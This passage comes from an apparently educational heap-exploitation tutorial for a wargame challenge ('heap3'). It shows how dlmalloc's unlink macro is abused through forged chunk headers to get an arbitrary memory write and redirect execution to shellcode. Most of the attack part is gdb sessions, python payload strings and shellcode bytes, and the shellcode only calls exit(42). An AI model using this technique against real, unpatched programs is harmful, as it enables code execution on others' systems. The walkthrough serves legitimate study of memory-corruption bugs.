- A free chunk is never contiguous with other free chunks. In such a case, they will be coalesced into one chunk.

[11] http://phrack.org/issues.html?issue=57&id=8&mode=txt
[12] http://ftp.gnu.org/gnu/libc/glibc-2.11.2.tar.gz

- The beginning of each chunk contains metadata necessary for proper functioning of the algorithms.

Keeping these as handy references, it is also recommended to be familiar with singly and doubly linked lists, as well as structures in C.

So, we're at least able to follow along as we exploit this program. Only immediately relevant parts of dlmalloc/ptmalloc will be covered, so it's recommended to do some research on your own for better comprehension. Recalling that we have the power to overflow chunks `b` and `c`, how could we modify values to get what we want? For maximum satisfaction, at this point you should study glibc source code and phrack articles[13][14][15] to independently discover the solution. If you're willing to spoil your own fun, continue reading.

The most obvious and straightforward method (in this case) will be to make clever use of the unlink macro. Though fairly complicated for a macro, we can isolate the important parts of it for study, especially if we ignore the security checks which will not be present in this example.

```
1  /* Take a chunk off a bin list */
2  #define unlink(P, BK, FD) {                                             \
3    FD = P->fd;                                                           \
4    BK = P->bk;                                                           \
5    ...security checks...
6    FD->bk = BK;                                                          \
7    BK->fd = FD;                                                          \
8    ...security checks/irrelevant bits...
9  }
```

heap/unlink_macro_excerpt

This is a standard routine to unlink some node from a doubly-linked list. To see how we could abuse this, let's step through it. First, the `FD` and `BK` variables are set to the chunks forward of and back from chunk `P` in the circularly linked listed of currently free chunks. This is expected, as these are the chunks whose pointers will need to be modified to remove `P` from the list. In fact, this is exactly what happens at lines `6` and `7`, when either chunk's location is written in the other's appropriate pointer. But wait a minute, each chunk here (`P`, `FD`, `BK`) is basically a **`struct malloc_chunk`**. This structure's `fd` and `bk` `malloc_chunk*` fields are located (in our specific case) at `P+8` and `P+12` respectively, assuming we focus on chunk `P` as an example. So, we can think of the two assignments on lines `6` and `7` as:

```
*(&FD+12) = &BK
*(&BK+8) = &FD
```

In fact, the corresponding machine code will look something like this:

```
1  0x080498f7 <free+211>:  mov    -0x14(%ebp),%eax
2  0x080498fa <free+214>:  mov    -0x18(%ebp),%edx
3  0x080498fd <free+217>:  mov    %edx,0xc(%eax)
4  0x08049900 <free+220>:  mov    -0x18(%ebp),%eax
5  0x08049903 <free+223>:  mov    -0x14(%ebp),%edx
6  0x08049906 <free+226>:  mov    %edx,0x8(%eax)
```

heap/unlink_macro_excerpt_assembly

To be explicit, `-0x14(%ebp)` is essentially `FD`, and `-0x18(%ebp)` is `BK`. The first two lines move them into `%eax` and `%edx`, respectively, then on line 3, `mov %edx,0xc(%eax)` performs `FD->bk = BK`. Likewise, lines 4-6 together perform `BK->fd = FD`. The potential for abuse comes in when the attacker somehow manages to control the chunk `P`'s `fd` and `bk` fields, which gives the attacker control of the `FD` and `BK` variables, which in turn will give the attacker control of where the values of `FD` and `BK` are written later. This gives us the potential to overwrite an almost arbitrary consecutive four bytes in memory, under certain restrictions. For example, as the values written to both addresses are also addresses themselves, both values we write must also be addresses which are currently writeable in the process. Though we will typically focus on only using one of the variables for the target of our overwrite, we have to remember that two writes will occur based on the values of `fd` and `bk`.

Now, this seems to be begging the question. If we could overwrite memory to give `P->fd` and `P->bk` specific values, wouldn't we already have the level of access we want? Well, remember, `P` is just whatever chunk the dlmalloc group of algorithms decides should be unlinked from a list of free chunks. Since our program is vulnerable to a buffer overflow,

[13] http://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt
[14] http://www.phrack.org/issues.html?issue=66&id=10&mode=txt
[15] http://www.phrack.org/issues.html?issue=67&id=8&mode=txt

we can not only overflow two separate chunks `b` and `c` which may possibly be unlinked later, but we can also overflow the locations of their `fd` and `bk` fields. The only hurdle left would be getting one of these chunks operated on by the `unlink` macro.

Going back to the dlmalloc algorithms (specifically, `free` and `malloc`) we see that there are certain circumstances that would cause a free chunk to be unlinked, such as if it were reappropriated by `malloc` for use, or if it were coalesced with an adjacent free chunk by `free`. Within our example however, we don't seem to be able to encounter either of these situations. Once we overflow our chunks, no more `malloc` calls are made, and it's not clear that any of our chunks will be automatically coalesced when they are freed. It would be nice if we could force execution of the `unlink` macro instead of hoping one occurs naturally. In fact, this is not only possible, but is an important part of exploiting this program.

When a chunk is freed, the `free` algorithm will check if contiguous chunks are in use, in order to coalesce them to reduce heap fragmentation. In this situation, multiple free chunks are combined into one larger free chunk, which necessitates a call to `unlink` in order to remove chunk(s) which no longer exist. We do have three calls to `free` after our overflows, so this seems like it may be useful. The only question is how we could force this to happen. Well, in order for adjacent chunks to be coalesced with whatever chunk we're freeing, they must not be in use. As covered earlier, this is determined by the least-significant bit in the chunk's `size` field. Borrowing from comments in the glibc source:

```
...
The size fields also hold bits representing whether chunks are free or
in use.
     chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             |             Size of previous chunk, if allocated            | |
             +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             |             Size of chunk, in bytes                       |M|P|
       mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             |                                                               |
...
The P (PREV_INUSE) bit, stored in the unused low-order bit of the
chunk size (which is always a multiple of two words), is an in-use
bit for the *previous* chunk.  If that bit is *clear*, then the
word before the current chunk size contains the previous chunk
size, and can be used to find the front of the previous chunk.
...
```

It seems a bit confusing when precisely the `prev_size` field will be used, but the important part here is after the diagram: "If that bit is *clear*, then the word before the current chunk size contains the previous chunk size, and can be used to find the front of the previous chunk." This is further illustrated by the `prev_inuse(p)` macro:

```
/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1

/* extract inuse bit of previous chunk */
#define prev_inuse(p)       ((p)->size & PREV_INUSE)
```

Now, to tie this all together into our technique to force an execution of the `unlink` macro. Let's focus on the first chunk we overflow, chunk `b`, with the goal of overwriting it such that, when it is freed, it forces an `unlink` to be performed. To do this, we'll need to trick `free` into thinking some adjacent chunk is not in use. Consider what would happen if we overwrote `b`'s header such that the `PREV_INUSE` bit of `size` were clear. In order to coalesce this previous (contiguously) chunk, `free` would subtract `prev_size` from `p`, the chunk being freed, in order to access the previous chunk's header. However, not only can we not control chunk `a`'s header, but chunk `b`'s `prev_size` field was never properly initialized, and is being overwritten anyways, so supplying a value for `prev_size` is a necessary opportunity. Let's take advantage of it and carefully select a `prev_size` value to write in order to point `free` to a fake chunk of our crafting.

```
/* consolidate backward */
if (!prev_inuse(p)) {
  prevsize = p->prev_size;
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  unlink(p, bck, fwd);
}
```

We could choose many values. For example, a small but positive `prev_size` would put the fake chunk somewhere in chunk `a`'s data portion. However, we cannot write null bytes with our overflow, so at the very least some positive `prev_size` would certainly be very large (it is a 4-byte integer). Instead, we could take advantage of two's complement, give `prev_size` a negative value, and place our fake chunk within chunk `b`'s data portion. For example, overwriting `prev_size` with `0xfffffffc` (-4) would place the fake chunk at `&p + 0x4`, meaning that the fake chunk's forward and back pointers will be at `&p + 0x0c` and `&p + 0x10`.

Assuming we wanted to overwrite the 4 bytes beginning at address `A` with some value `B`, we'd have to do the following to properly set up our buffer. First, we'll overwrite chunk `b`'s `prev_size` field with -4, overwrite `b`'s `size` field with some value whose low-order bit is clear (-4 would work here as well), then, pad with 4 bytes of our choice. This overwrites chunk `b`'s header, and gets us up to `&b + 0xc`, where we will put our fake chunk's `fd` pointer. Arbitrarily deciding to use this pointer to indicate the target's position, we have some simple math to do. Since `A` is the location we want to overwrite, and we're using the forward pointer to do so, we'll need to compensate for the indexing that's done in `unlink`. Essentially, we want `&(FD->bk) == A`, which means we need `FD+0xc == A`. Simple algebra then gives that `FD == A - 0xc`, so we'll want to take the desired target, `A`, and place the bytes of `(long)(A - 0xc)` in our buffer. Since the `unlink` macro will directly place `BK` here, we'll then place the bytes of `(long)B` immediately after this, where our fake chunk's `bk` field would be. Throughout this entire process, we need to remember that our values of `A` and `B` are limited to be within writeable pages of memory. Also, when constructing the buffer, we need to conform to the architecture's endianness, which in this case is little-endian.

Alright, enough planning and theory, let's try this out. First, let's inspect precisely how our chunks are laid out in memory. First, we place a breakpoint immediately after the calls to malloc so we can see where our chunks are allocated (edited slightly for brevity):

```
0x08048892 <main+9>:    movl   $0x20,(%esp)
0x08048899 <main+16>:   call   0x8048ff2 <malloc>
0x0804889e <main+21>:   mov    %eax,0x14(%esp)
0x080488a2 <main+25>:   movl   $0x20,(%esp)
0x080488a9 <main+32>:   call   0x8048ff2 <malloc>
0x080488ae <main+37>:   mov    %eax,0x18(%esp)
0x080488b2 <main+41>:   movl   $0x20,(%esp)
0x080488b9 <main+48>:   call   0x8048ff2 <malloc>
0x080488be <main+53>:   mov    %eax,0x1c(%esp)
(gdb) b *(main+21)
Breakpoint 2 at 0x804889e: file heap3/heap3.c, line 16.
(gdb) b *(main+37)
Breakpoint 3 at 0x80488ae: file heap3/heap3.c, line 17.
(gdb) b *(main+53)
Breakpoint 4 at 0x80488be: file heap3/heap3.c, line 18.
(gdb) r AAAA BBBB CCCC
Breakpoint 2, 0x0804889e in main (argc=4, argv=0xbffff854) at heap3/heap3.c:16
16      in heap3/heap3.c
(gdb) i r eax
eax            0x804c008        134529032
(gdb) c
Continuing.
Breakpoint 3, 0x080488ae in main (argc=4, argv=0xbffff854) at heap3/heap3.c:17
17      in heap3/heap3.c
(gdb) i r eax
eax            0x804c030        134529072
(gdb) c
Continuing.
Breakpoint 4, 0x080488be in main (argc=4, argv=0xbffff854) at heap3/heap3.c:18
18      in heap3/heap3.c
(gdb) i r eax
eax            0x804c058        134529112
```

So, our chunks are allocated consecutively at `0x804c008`, `0x804c030` and `0x804c058`. Now, let's take a look at their state after they've been filled with simple input. stopping on a breakpoint after the last call to strcpy, we have:

```
(gdb) x/32x 0x0804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x00000000
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x42424242      0x00000000      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x43434343      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
```

Here, we automatically subtracted `0x8` from our first chunk's address so we can see its header. As expected, at the 3 addresses returned from `malloc`, we have our data (the `0x41`, `0x42`, `0x43` bytes). Also as expected, we have the `size` fields of our three chunks (the `0x00000029` integers) all with their `PREV_INUSE` bits set. The 8 bytes towards the end of our memory dump belong to the "top" chunk, which we won't concern ourselves with for this example. Alright, let's try out the first portion of our exploit: forcing execution of the `unlink` macro.

```
(gdb) d b
Delete all breakpoints? (y or n) y
(gdb) r `python -c 'print("A"*32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff")'` A B
Program received signal SIGSEGV, Segmentation fault.
0x080498fd in free (mem=0x804c030) at common/malloc.c:3638
(gdb) i r
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff710       0xbffff710
ebp            0xbffff758       0xbffff758
esi            0x0      0
edi            0x0      0
eip            0x80498fd        0x80498fd <free+217>
eflags         0x210202 [ IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) disas $eip
Dump of assembler code for function free:
0x08049824 <free+0>:    push   %ebp
0x08049825 <free+1>:    mov    %esp,%ebp
...
0x080498f4 <free+208>:  mov    %eax,-0x18(%ebp)
0x080498f7 <free+211>:  mov    -0x14(%ebp),%eax
0x080498fa <free+214>:  mov    -0x18(%ebp),%edx
0x080498fd <free+217>:  mov    %edx,0xc(%eax)
0x08049900 <free+220>:  mov    -0x18(%ebp),%eax
0x08049903 <free+223>:  mov    -0x14(%ebp),%edx
0x08049906 <free+226>:  mov    %edx,0x8(%eax)
...
```

Excellent! We broke something badly enough to cause a segfault! It doesn't take much to see why either. Checking our registers, then disassembling where the instruction pointer was at tells us we crashed in our `unlink` macro because `%eax` was null when we tried to perform `FD->bk = BK` (`mov %edx,0xc(%eax)`). This is easy enough to see, since we overwrote chunk `b`'s `prev_size` and `size` fields with -4, which forces `unlink` to process a fake chunk within chunk `b`. because we only filled `b` with the single byte representing "A", the fake chunk's `fd` and `bk` pointers were obviously null, leading to the crash.

Now, let's load values into the `fd` and `bk` pointers of our fake chunk. As covered previously, we expect these to be at `&b + 0xc` and `&b + 0x10`.

```
(gdb) r `python -c 'print("A"*32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff")'` `python -c 'print("\xf0"*4+"A"*4+"B"*4)'` C
Program received signal SIGSEGV, Segmentation fault.
0x080498fd in free (mem=0x804c030) at common/malloc.c:3638
(gdb) i r eip
eip            0x80498fd        0x80498fd <free+217>
(gdb) i r eax
eax            0x41414141       1094795585
(gdb) i r edx
edx            0x42424242       1111638594
```

So, we've crashed in exactly the same location, but now we've pinned down the exact locations that `FD` and `BK` are loaded from. For clarity, we'll run the program again, but examine how all our chunks are set up immediately after the calls to `strcpy`.

```
(gdb) x/32x 0x0804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x41414141      0x41414141      0x41414141      0x41414141
0x804c020:      0x41414141      0x41414141      0xfffffffc      0xfffffffc
0x804c030:      0xf0f0f0f0      0x41414141      0x42424242      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x00000043      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
```

As we can see (especially when comparing with the previous dump of such memory from a “clean” execution), we’ve corrupted `b`’s header, and placed a fake chunk at `&b+0x4`. Now, let’s try doing something with `unlink` besides segfaulting our program. For example, let’s try changing a few bytes within `a`’s data portion.

```
(gdb) r `python -c 'print("A"*32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff")'` `python -c 'print("\xf0"*4+"\x04\xc0\x04\x08"*4)'` C
dynamite failed?

Program exited with code 021.
```

No segfault! Now we’ll breakpoint after each of our 3 calls to `free` to see how things change.

```
(gdb) x/32x 0x0804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x41414141      0x41414141      0x41414141      0x41414141
0x804c020:      0x41414141      0x41414141      0xfffffffc      0xfffffffc
0x804c030:      0xf0f0f0f0      0x0804c004      0x0804c004      0x0804c004
0x804c040:      0x0804c004      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x00000000      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
(gdb) c
Continuing.

Breakpoint 8, main (argc=4, argv=0xbffff824) at heap3/heap3.c:26
26      in heap3/heap3.c
(gdb) x/32x 0x0804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x0804c004
0x804c010:      0x0804c004      0x41414141      0x41414141      0x41414141
0x804c020:      0x41414141      0xfffffff8      0xfffffffc      0xfffffffc
0x804c030:      0xfffffff9      0x0804b194      0x0804b194      0x0804c004
0x804c040:      0x0804c004      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000fb1      0x00000000      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
(gdb) c
Continuing.

Breakpoint 9, main (argc=4, argv=0xbffff824) at heap3/heap3.c:28
28      in heap3/heap3.c
(gdb) x/32x 0x0804c000
0x804c000:      0x00000000      0x00000029      0x00000000      0x0804c004
0x804c010:      0x0804c004      0x41414141      0x41414141      0x41414141
0x804c020:      0x41414141      0xfffffff8      0xfffffffc      0xfffffffc
0x804c030:      0xfffffff9      0x0804b194      0x0804b194      0x0804c004
0x804c040:      0x0804c004      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000fb1      0x00000000      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
```

Since the chunks are freed in reverse order, we expect the first free to behave normally, the second free to trigger the arbitrary memory write, and the third free to behave normally. Here, we gave `FD` and `BK` both values of `0x0804c004`, so we expect this value to be written to both `0x0804c004 + 0x8` and `0x0804c004+0xc`. As expected, we can see that both `0x0804c00c` and `0x0804c010` have been changed from `0x41414141` to `0x0804c004` during our second call to `free` (the second memory dump). We can also notice some other side-affects from abusing dlmalloc like this. During the second call to `free`, our fake chunk’s been processed further, and appears to contain calculated `size`, `fd` and `bk` fields. Since this doesn’t seem to negatively affect exploitation, I’ve ignored it and not bothered to find out precisely where it comes from, though it wouldn’t be hard to discover. We can also control where our two values are written with more precision. Let's compare exploiting with the previous buffer, and with one where `FD` and `BK` are given different values. Again, we've edited for brevity and clarity.

```
(gdb) r ‘python -c ’print("A"*32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff")’‘ ‘python -c ’print("\
↪ xf0"*4+"\x04\xc0\x04\x08"*4)’‘ C
Breakpoint 8, main (argc=4, argv=0xbffff824) at heap3/heap3.c:26
26      in heap3/heap3.c
(gdb) x/32x 0x0804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x0804c004
0x804c010:      0x0804c004      0x41414141      0x41414141      0x41414141
0x804c020:      0x41414141      0xfffffff8      0xfffffffc      0xfffffffc
0x804c030:      0xfffffff9      0x0804b194      0x0804b194      0x0804c004
0x804c040:      0x0804c004      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000fb1      0x00000000      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
(gdb) r ‘python -c ’print("A"*32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff")’‘ ‘python -c ’print("\
↪ xf0"*4+"\x04\xc0\x04\x08"+"\x0c\xc0\x04\x08")’‘ C
Breakpoint 8, main (argc=4, argv=0xbffff824) at heap3/heap3.c:26
26      in heap3/heap3.c
(gdb) x/32x 0x0804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x0804c00c      0x0804c004      0x41414141      0x41414141
0x804c020:      0x41414141      0xfffffff8      0xfffffffc      0xfffffffc
0x804c030:      0xfffffff9      0x0804b194      0x0804b194      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000fb1      0x00000000      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
(gdb) r ‘python -c ’print("A"*32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff")’‘ ‘python -c ’print("\
↪ xf0"*4+"\x04\xc0\x04\x08"+"\x10\xc0\x04\x08")’‘ C
Breakpoint 8, main (argc=4, argv=0xbffff824) at heap3/heap3.c:26
26      in heap3/heap3.c
(gdb) x/32x 0x0804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x0804c010      0x41414141      0x0804c004      0x41414141
0x804c020:      0x41414141      0xfffffff8      0xfffffffc      0xfffffffc
0x804c030:      0xfffffff9      0x0804b194      0x0804b194      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000fb1      0x00000000      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
```

Alright, so we can clearly control this arbitrary memory write with precision. Now, how do we exploit this? What do we overwrite to exploit the program? In reality, this may heavily depend on the target program. In some cases we may only want to flip a bit to set a flag or change some other variable in memory, but a more devastating option is to redirect execution. While we could potentially overwrite any function pointer in writeable memory (.dtors, .got, etc...) a more familiar option would be to overwrite the return address on the stack. Now that we have our target, we need to pick what to set it to. Because this must also be an address in writeable memory, we have some restrictions. For example, we can't redirect execution to some function in .data because it's read-only. Redirecting to some library function in the Global Offset Table (.got) could be possible, but we'd normally have to set up variables on the stack to do anything useful with that. Instead, we'll redirect execution back into the heap, which is mapped as both writeable and executable.

First, we'll find our return address. This is similar to the stack portion, where we simply breakpoint somewhere in main, then examine the stack to determine where this is. Because various bits of libc code are executed before we even get to `main`, we need to remember that changing number and size of arguments given to the program can change precisely where `main`'s stack is. Since we want to redirect execution to the heap, we'll fill chunk `c` with bytes, as if we put shellcode there. That way the return address location we determine won't change once we move from overwriting it to developing the payload shellcode.

```
(gdb) r ‘python -c ’print("A"*32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff")’‘ ‘python -c ’print("\
↪ xf0"*4+"\x04\xc0\x04\x08"+"\x5c\xc0\x04\x08")’‘ ‘python -c ’print("\x90"*32)’‘
Breakpoint 12, 0x080488d2 in main (argc=4, argv=0xbffff804) at heap3/heap3.c:20
20      in heap3/heap3.c
(gdb) x/16x $ebp
0xbffff758:     0xbffff7d8      0xb7eadc76      0x00000004      0xbffff804
0xbffff768:     0xbffff818      0xb7fe1848      0xbffff7c0      0xffffffff
0xbffff778:     0xb7ffeff4      0x08048576      0x00000001      0xbffff7c0
0xbffff788:     0xb7ff0626      0xb7fffab0      0xb7fe1b28      0xb7fd7ff4
```

Here we see argc (0x00000004), and know that at this point the return address is at `ebp + 0x4`, so our return address is the `0xb7eadc76` at `0xbffff75c`. So, we'll want to set `FD` to `0xbffff750`. To redirect to chunk `c`, we'll set `BK` to `0x0804c058`. Let's try it.

```
(gdb) r ‘python -c ’print("A"*32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff")’‘ ‘python -c ’print("\xf0"*4+"\x50\xf7\xff\xbf"+"\x5c\xc0\x04\x08")’‘ ‘python -c ’print("\x90"*32)’‘
dynamite failed?

Program received signal SIGFPE, Arithmetic exception.
0x0804c065 in ?? ()
(gdb) x/16x 0x0804c050
0x804c050:      0x00000000      0x00000fb1      0x00000000      0x90909090
0x804c060:      0x90909090      0xbffff750      0x90909090      0x90909090
0x804c070:      0x90909090      0x90909090      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000
```

Excellent! We filled chunk `c` with NOPs, but any non-null value would've worked. As we can see, we crash with a SIGFPE exception at `0x0804c065`. This address is on the heap, just a few bytes after the beginning of chunk `c`. Then, we examine chunk `c` to see exactly what happened. Our NOPs were loaded (and executed) just fine, but trouble starts where we crashed (imagine that). Our NOP sled was corrupted by `0xbffff750`, the very address we overwrote! Here we encounter one of the final hurdles to succesfull exploitation. Because we used the unlink macro, it will perform two writes, one of which will always be in our shellcode (assuming that's what we're redirecting execution to). No matter what we do, we'll have 4 bytes of our shellcode, starting either 8 bytes in or 12 bytes in, clobbered. We could write our shellcode here after the arbitrary memory write in `unlink`, but this simply isn't an option in this situation. Instead, we'll have to modify the shellcode to short-jump over this corruption, or perform some other trick so we at least don't crash.

The shellcode we're using is essentially the `exit(42)` shellcode from earlier, but with a short jump in the beginning, and some unused bytes between it and the main portion of the shellcode. Also, we have to consider that as part of the frees that occur, the first 4 bytes of chunk `c` will be zeroed, and we want to maintain filling chunk `c` with exactly 32 bytes. That way we don't have to go back and re-find the return address' location on the stack. Skipping over the details of assembly programming and dumping the bytecode, we have the following escaped-byte string which will serve as our shellcode.

```
"\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\xb3\x2a\xb0\x01\xcd\x80"
```

The large stream of `0x90` bytes is simply so we can be sure our short jump will indeed jump over the corruption from `unlink`. We'll wind up having more bytes here than strictly necessary, but we're still well within the limits on our chunk. Also, since this is 24 bytes long, and we'll pad with 4 bytes in the beginning, we'll pad with 4 bytes on the end of this to satisfy filling chunk `c` with 32 bytes (24 + 4 + 4 = 32). Alright, let's set up this last portion of our buffer and try it out.

```
(gdb) r ‘python -c ’print("A"*32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff")’‘ ‘python -c ’print("\x04\xc0\x04\x08"+"\x50\xf7\xff\xbf"+"\x5c\xc0\x04\x08")’‘ ‘python -c ’print("\xf0"*4+"\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\xb3\x2a\xb0\x01\xcd\x80"+"\x90"*4)’‘
Breakpoint 1, main (argc=4, argv=0xbffff804) at heap3/heap3.c:24
24      heap3/heap3.c: No such file or directory.
        in heap3/heap3.c
(gdb) x/32x 0x0804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x41414141      0x41414141      0x41414141      0x41414141
0x804c020:      0x41414141      0x41414141      0xfffffffc      0xfffffffc
0x804c030:      0x0804c004      0xbffff750      0x0804c05c      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0xf0f0f0f0      0x90900ceb
0x804c060:      0x90909090      0x90909090      0xc0319090      0x2ab3db31
0x804c070:      0x80cd01b0      0x90909090      0x00000000      0x00000f89
(gdb) c
Continuing.

Breakpoint 2, main (argc=4, argv=0xbffff804) at heap3/heap3.c:26
26      in heap3/heap3.c
(gdb) x/32x 0x0804c000
```

```
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x41414141      0x41414141      0x41414141      0x41414141
0x804c020:      0x41414141      0xfffffff8      0xfffffffc      0xfffffffc
0x804c030:      0xfffffff9      0x0804b194      0x0804b194      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000fb1      0x00000000      0x90900ceb
0x804c060:      0x90909090      0xbffff750      0xc0319090      0x2ab3db31
0x804c070:      0x80cd01b0      0x90909090      0x00000000      0x00000f89
(gdb) c
Continuing.
dynamite failed?

Program exited with code 052.
(gdb) print 052
$1 = 42
```

Here, I added two breakpoints to watch both precisely how my buffer is initially placed in memory, and then how it's affected immediately after the `unlink` macro is executed. We can see our `0xf0f0f0f0` was overwritten with null bytes, but more importantly, we see that the 4 bytes of our shellcode starting at `0804c064` were clobbered during the `unlink`. Continuing execution, we see that we exit with status 052 in octal, which is 42 in decimal, demonstrating that we now have code execution. Just to be clear, we can exploit the program again, after having placed a breakpoint at main's return instruction, then instruction-stepping into our shellcode.

```
(gdb) r `python -c 'print("A"*32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff")'` `python -c 'print("\x04\xc0\x04\x08"+"\x50\xf7\xff\xbf"+"\x5c\xc0\x04\x08")'` `python -c 'print("\xf0"*4+"\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\xb3\x2a\xb0\x01\xcd\x80"+"\x90"*4)'`

Breakpoint 3, 0x0804893b in main (argc=134514825, argv=0x4) at heap3/heap3.c:29
29      in heap3/heap3.c
(gdb) si
0x0804c05c in ?? ()
(gdb) x/i 0x0804c05c
0x804c05c:      jmp    0x804c06a
(gdb) x/10i 0x0804c06a
0x804c06a:      xor    %eax,%eax
0x804c06c:      xor    %ebx,%ebx
0x804c06e:      mov    $0x2a,%bl
0x804c070:      mov    $0x1,%al
0x804c072:      int    $0x80
0x804c074:      nop
0x804c075:      nop
0x804c076:      nop
0x804c077:      nop
0x804c078:      add    %al,(%eax)
(gdb) c
Continuing.
dynamite failed?

Program exited with code 052.
```

We can plainly see that we jump to our shellcode. What we also notice is that our shellcode performs a short (relative) jump to the standard `exit(42)` shellcode from before. To fully complete the challenge, we want to call the `winner` function, then clean up after ourselves so that the program can exit normally. This is left as an excercise for the reader.

3 Conclusion

In conclusion, The memory corruption bugs discussed (buffer overflows) are a historically important vulnerability. Over nearly 20 years such vulnerabilities have been exploited to break computer security for anywhere from malicious to benevolent ends. For modern consideration, these vulnerabilities can be largely mitigated by using tools such as PaX, but still pose a threat to improperly secured and unpatched systems, or when targeted by very skilled and dedicated attackers. While the topic is still relevant, the aspiring researcher has much work ahead of themselves to get up to pace with contemporary exploitation, and unfortunately even learning the basics in an insecure environment can be difficult. Hopefully the reader can take away from this a better understanding of buffer overflows withiin Linux on the x86 architecture, and examine other topics such as circumventing exploit mitigations, exploitation on other architectures, or exploitation on other operating systems. At the very least, I hope to have encouraged or sparked the curiosity to tinker with the various gadgets and systems around ourselves. You never know what you might find.